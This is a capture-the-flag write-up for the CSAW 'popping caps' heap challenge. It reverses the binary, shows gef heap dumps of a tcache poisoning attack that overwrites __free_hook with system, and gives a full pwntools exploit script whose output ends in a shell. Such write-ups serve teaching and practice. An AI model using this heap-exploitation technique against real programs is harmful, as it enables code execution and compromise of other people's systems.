# Popping Caps 1
For this writeup, I'm assuming you've solved the first popping caps. These two are pretty similar.
## Reversing
Taking a look at the main function, we see a lot of similarities:
```undefined8 main(void)
{  ulong choice;  size_t size;  long freeOffset;  long lives;  void *ptr;  void *ptrCpy;   setvbuf(stdout,(char *)0x0,2,0);  setvbuf(stdin,(char *)0x0,2,0);  setvbuf(stderr,(char *)0x0,2,0);  printf("Here is system %p\n",system);  lives = 7;  ptr = (void *)0x0;  ptrCpy = (void *)0x0;  while (lives != 0) {    printf("You have %llu caps!\n",lives);    puts("[1] Malloc");    puts("[2] Free");    puts("[3] Write");    puts("[4] Bye");    puts("Your choice: ");    choice = read_num();    if (choice == 2) {      puts("Whats in a free: ");      freeOffset = read_num();      free((void *)((long)ptr + freeOffset));      if (ptr == ptrCpy) {        ptrCpy = (void *)0x0;      }    }    else {      if (choice < 3) {        if (choice == 1) {          puts("How many: ");          size = read_num();          ptr = malloc(size);          ptrCpy = ptr;        }      }      else {        if (choice == 3) {          puts("Read me in: ");          read(0,ptrCpy,0xff);        }        else {          if (choice == 4) {            bye();          }        }      }    }    puts("BANG!");    lives = lives + -1;  }  bye();  return 0;}```
So some differences we noticed from the first problem, we can scan in `0xff` bytes instead of `0x8` bytes. Also we notice that the `bye` function doesn't have the `malloc` call in it:
```void bye(void)
{                    /* WARNING: Subroutine does not return */  exit(0);}```
So we have to do this without a malloc at the end. Our previous attack won't work anymore.
## Exploit
For this, we will essentially be freeing the chunk which holds the tcache linked list information, reallocating it, and writing to it. First we call malloc to setup the heap:
```gef➤  x/100g 0x00005569212230000x556921223000:    0x0    0x2510x556921223010:    0x0    0x00x556921223020:    0x0    0x00x556921223030:    0x0    0x00x556921223040:    0x0    0x00x556921223050:    0x0    0x00x556921223060:    0x0    0x00x556921223070:    0x0    0x00x556921223080:    0x0    0x00x556921223090:    0x0    0x00x5569212230a0:    0x0    0x00x5569212230b0:    0x0    0x00x5569212230c0:    0x0    0x00x5569212230d0:    0x0    0x00x5569212230e0:    0x0    0x00x5569212230f0:    0x0    0x00x556921223100:    0x0    0x00x556921223110:    0x0    0x00x556921223120:    0x0    0x00x556921223130:    0x0    0x00x556921223140:    0x0    0x00x556921223150:    0x0    0x00x556921223160:    0x0    0x00x556921223170:    0x0    0x00x556921223180:    0x0    0x00x556921223190:    0x0    0x00x5569212231a0:    0x0    0x00x5569212231b0:    0x0    0x00x5569212231c0:    0x0    0x00x5569212231d0:    0x0    0x00x5569212231e0:    0x0    0x00x5569212231f0:    0x0    0x00x556921223200:    0x0    0x00x556921223210:    0x0    0x00x556921223220:    0x0    0x00x556921223230:    0x0    0x00x556921223240:    0x0    0x00x556921223250:    0x0    0x210x556921223260:    0x0    0x00x556921223270:    0x0    0x20d910x556921223280:    0x0    0x00x556921223290:    0x0    0x00x5569212232a0:    0x0    0x00x5569212232b0:    0x0    0x00x5569212232c0:    0x0    0x00x5569212232d0:    0x0    0x00x5569212232e0:    0x0    0x00x5569212232f0:    0x0    0x00x556921223300:    0x0    0x00x556921223310:    0x0    0x0```
Proceeding that, we will free the tcache idx block:
```gef➤  x/100g 0x00005569212230000x556921223000:    0x0    0x2510x556921223010:    0x0    0x00x556921223020:    0x0    0x00x556921223030:    0x1000000    0x00x556921223040:    0x0    0x00x556921223050:    0x0    0x00x556921223060:    0x0    0x00x556921223070:    0x0    0x00x556921223080:    0x0    0x00x556921223090:    0x0    0x00x5569212230a0:    0x0    0x00x5569212230b0:    0x0    0x00x5569212230c0:    0x0    0x00x5569212230d0:    0x0    0x00x5569212230e0:    0x0    0x00x5569212230f0:    0x0    0x00x556921223100:    0x0    0x00x556921223110:    0x0    0x00x556921223120:    0x0    0x00x556921223130:    0x0    0x00x556921223140:    0x0    0x00x556921223150:    0x0    0x00x556921223160:    0x0    0x5569212230100x556921223170:    0x0    0x00x556921223180:    0x0    0x00x556921223190:    0x0    0x00x5569212231a0:    0x0    0x00x5569212231b0:    0x0    0x00x5569212231c0:    0x0    0x00x5569212231d0:    0x0    0x00x5569212231e0:    0x0    0x00x5569212231f0:    0x0    0x00x556921223200:    0x0    0x00x556921223210:    0x0    0x00x556921223220:    0x0    0x00x556921223230:    0x0    0x00x556921223240:    0x0    0x00x556921223250:    0x0    0x210x556921223260:    0x0    0x00x556921223270:    0x0    0x20d910x556921223280:    0x0    0x00x556921223290:    0x0    0x00x5569212232a0:    0x0    0x00x5569212232b0:    0x0    0x00x5569212232c0:    0x0    0x00x5569212232d0:    0x0    0x00x5569212232e0:    0x0    0x00x5569212232f0:    0x0    0x00x556921223300:    0x0    0x00x556921223310:    0x0    0x0```
As you can see, that chunk is in the tcache. Next we will allocate it:```gef➤  x/100g 0x00005569212230000x556921223000:    0x0    0x2510x556921223010:    0x0    0x00x556921223020:    0x0    0x00x556921223030:    0x0    0x00x556921223040:    0x0    0x00x556921223050:    0x0    0x00x556921223060:    0x0    0x00x556921223070:    0x0    0x00x556921223080:    0x0    0x00x556921223090:    0x0    0x00x5569212230a0:    0x0    0x00x5569212230b0:    0x0    0x00x5569212230c0:    0x0    0x00x5569212230d0:    0x0    0x00x5569212230e0:    0x0    0x00x5569212230f0:    0x0    0x00x556921223100:    0x0    0x00x556921223110:    0x0    0x00x556921223120:    0x0    0x00x556921223130:    0x0    0x00x556921223140:    0x0    0x00x556921223150:    0x0    0x00x556921223160:    0x0    0x00x556921223170:    0x0    0x00x556921223180:    0x0    0x00x556921223190:    0x0    0x00x5569212231a0:    0x0    0x00x5569212231b0:    0x0    0x00x5569212231c0:    0x0    0x00x5569212231d0:    0x0    0x00x5569212231e0:    0x0    0x00x5569212231f0:    0x0    0x00x556921223200:    0x0    0x00x556921223210:    0x0    0x00x556921223220:    0x0    0x00x556921223230:    0x0    0x00x556921223240:    0x0    0x00x556921223250:    0x0    0x210x556921223260:    0x0    0x00x556921223270:    0x0    0x20d910x556921223280:    0x0    0x00x556921223290:    0x0    0x00x5569212232a0:    0x0    0x00x5569212232b0:    0x0    0x00x5569212232c0:    0x0    0x00x5569212232d0:    0x0    0x00x5569212232e0:    0x0    0x00x5569212232f0:    0x0    0x00x556921223300:    0x0    0x00x556921223310:    0x0    0x0```
Now `ptrCopy` is set equal to `0x556921223010`. We will write to the tcache idx block. We will write to the beginning of the first idx, the libc address of `free` (which we know from the earlier infoleak), and also set the idx count to `0x1`. Also one thing I did here is I put `/bin/sh\x00` at `0x556921223050`, however that ended up not being needed:
```gef➤  x/100g 0x00005569212230000x556921223000:    0x0    0x2510x556921223010:    0x1    0x00x556921223020:    0x0    0x00x556921223030:    0x0    0x00x556921223040:    0x0    0x00x556921223050:    0x7f9c2755b8e8    0x68732f6e69622f0x556921223060:    0x0    0x00x556921223070:    0x0    0x00x556921223080:    0x0    0x00x556921223090:    0x0    0x00x5569212230a0:    0x0    0x00x5569212230b0:    0x0    0x00x5569212230c0:    0x0    0x00x5569212230d0:    0x0    0x00x5569212230e0:    0x0    0x00x5569212230f0:    0x0    0x00x556921223100:    0x0    0x00x556921223110:    0x0    0x00x556921223120:    0x0    0x00x556921223130:    0x0    0x00x556921223140:    0x0    0x00x556921223150:    0x0    0x00x556921223160:    0x0    0x00x556921223170:    0x0    0x00x556921223180:    0x0    0x00x556921223190:    0x0    0x00x5569212231a0:    0x0    0x00x5569212231b0:    0x0    0x00x5569212231c0:    0x0    0x00x5569212231d0:    0x0    0x00x5569212231e0:    0x0    0x00x5569212231f0:    0x0    0x00x556921223200:    0x0    0x00x556921223210:    0x0    0x00x556921223220:    0x0    0x00x556921223230:    0x0    0x00x556921223240:    0x0    0x00x556921223250:    0x0    0x210x556921223260:    0x0    0x00x556921223270:    0x0    0x20d910x556921223280:    0x0    0x00x556921223290:    0x0    0x00x5569212232a0:    0x0    0x00x5569212232b0:    0x0    0x00x5569212232c0:    0x0    0x00x5569212232d0:    0x0    0x00x5569212232e0:    0x0    0x00x5569212232f0:    0x0    0x00x556921223300:    0x0    0x00x556921223310:    0x0    0x0gef➤  x/g 0x7f9c2755b8e80x7f9c2755b8e8 <__free_hook>:    0x0```
Proceeding that we will allocate the chunk to the free hook:```gef➤  x/100g 0x00005569212230000x556921223000:    0x0    0x2510x556921223010:    0x0    0x00x556921223020:    0x0    0x00x556921223030:    0x0    0x00x556921223040:    0x0    0x00x556921223050:    0x0    0x68732f6e69622f0x556921223060:    0x0    0x00x556921223070:    0x0    0x00x556921223080:    0x0    0x00x556921223090:    0x0    0x00x5569212230a0:    0x0    0x00x5569212230b0:    0x0    0x00x5569212230c0:    0x0    0x00x5569212230d0:    0x0    0x00x5569212230e0:    0x0    0x00x5569212230f0:    0x0    0x00x556921223100:    0x0    0x00x556921223110:    0x0    0x00x556921223120:    0x0    0x00x556921223130:    0x0    0x00x556921223140:    0x0    0x00x556921223150:    0x0    0x00x556921223160:    0x0    0x00x556921223170:    0x0    0x00x556921223180:    0x0    0x00x556921223190:    0x0    0x00x5569212231a0:    0x0    0x00x5569212231b0:    0x0    0x00x5569212231c0:    0x0    0x00x5569212231d0:    0x0    0x00x5569212231e0:    0x0    0x00x5569212231f0:    0x0    0x00x556921223200:    0x0    0x00x556921223210:    0x0    0x00x556921223220:    0x0    0x00x556921223230:    0x0    0x00x556921223240:    0x0    0x00x556921223250:    0x0    0x210x556921223260:    0x0    0x00x556921223270:    0x0    0x20d910x556921223280:    0x0    0x00x556921223290:    0x0    0x00x5569212232a0:    0x0    0x00x5569212232b0:    0x0    0x00x5569212232c0:    0x0    0x00x5569212232d0:    0x0    0x00x5569212232e0:    0x0    0x00x5569212232f0:    0x0    0x00x556921223300:    0x0    0x00x556921223310:    0x0    0x0```
Now that `ptrCopy` is set to the free hook, we will write to it the address of `system`. I originally tried using a onegadget, however they didn't work for me in this case:```gef➤  x/g 0x7f9c2755b8e80x7f9c2755b8e8 <__free_hook>:    0x7f9c271bd440gef➤  x/g 0x7f9c271bd4400x7f9c271bd440 <system>:    0xfa66e90b74ff8548```
Now `ptr` is set to the free hook at `0x7f9c2755b8e8`, in the libc. Next we will free the string `/bin/sh\x00` in the libc, by passing our argument to free to be the offset between the free hook and that string. When we do that, the free hook gets called with the argument to free which is a pointer to `/bin/sh`. This calls `system("/bin/sh")`.
## Exploit
Putting it all together, we have the following exploit:
```from pwn import *
#target = remote("pwn.chal.csaw.io", 1008)target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})#gdb.attach(target, gdbscript='pie b *0xbca')
elf = ELF("popping_caps")libc = ELF("libc.so.6")
leak = target.recvuntil("Here is system ")leak = target.recvline()leak = leak.strip("\n")leak = int(leak, 16)
libcBase = leak - libc.symbols["system"]print "libc base: " + hex(libcBase)
def pl():    print target.recvuntil("Your choice:")
def malloc(x):    pl()    target.sendline("1")    print target.recvuntil("How many:")    target.sendline(str(x))
def write(x):    pl()    target.sendline("3")    print target.recvuntil("Read me in:")    target.send(x)
def free(x):    pl()    target.sendline("2")    print target.recvuntil("Whats in a free:")    target.sendline(str(x))
malloc(0)
free(-592)
malloc(0x240)
payload = p64(0x1) + p64(0x0)*7 + p64(libcBase + libc.symbols["__free_hook"]) + "/bin/sh\x00"
write(payload)
malloc(0)
write(p64(libcBase + libc.symbols["system"]))
free(-2333262)
target.interactive()```
When we run it:```$    python roland.py[+] Starting local process './popping_caps': pid 3993[*] '/home/guyinatuxedo/Desktop/roland/popping_caps'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] '/home/guyinatuxedo/Desktop/roland/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledlibc base: 0x7f3a7d695000You have 7 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 6 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free: BANG!You have 5 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 4 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in: BANG!You have 3 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 2 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in: BANG!You have 1 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free:[*] Switching to interactive mode $ w 22:52:12 up 39 min,  1 user,  load average: 0.00, 0.02, 0.01USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHATguyinatu :0       :0               22:13   ?xdm?  32.21s  0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu$ lscore  libc.so.6  popping_caps  roland.py solved.py```
Just like that, we popped a shell!